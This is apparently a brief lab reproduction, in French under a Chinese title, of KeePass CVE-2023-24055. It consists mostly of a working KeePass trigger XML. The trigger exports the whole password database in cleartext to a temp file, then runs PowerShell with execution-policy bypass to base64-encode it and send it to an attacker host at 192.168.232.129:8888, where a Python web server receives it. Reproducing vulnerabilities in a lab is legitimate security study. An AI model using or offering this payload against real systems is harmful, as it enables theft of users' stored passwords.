
KeePass CVE-2023-24055复现
Reproduction de KeePass CVE-2023-24055 Reproduction de KeePass CVE-2023-24055
Préparer la machine : kali (192.168.232.129), windows10 (192.168.232.128)
Version de KeePass : 2.53

Où le champ <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> définit le chemin local d'export du mot de passe en clair.
Utiliser PowerShell pour transférer le fichier de mot de passe avec la méthode GET
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
<TriggerSystem></TriggerSystem>), ouvrir KeePass pour vérifier que l'ajout a réussi :
python3 -m http.server 8888 pour démarrer un serveur web afin de recevoir le mot de passe en clair exporté.



Articles de référence : https://github.com/alt3kx/CVE-2023-24055_PoC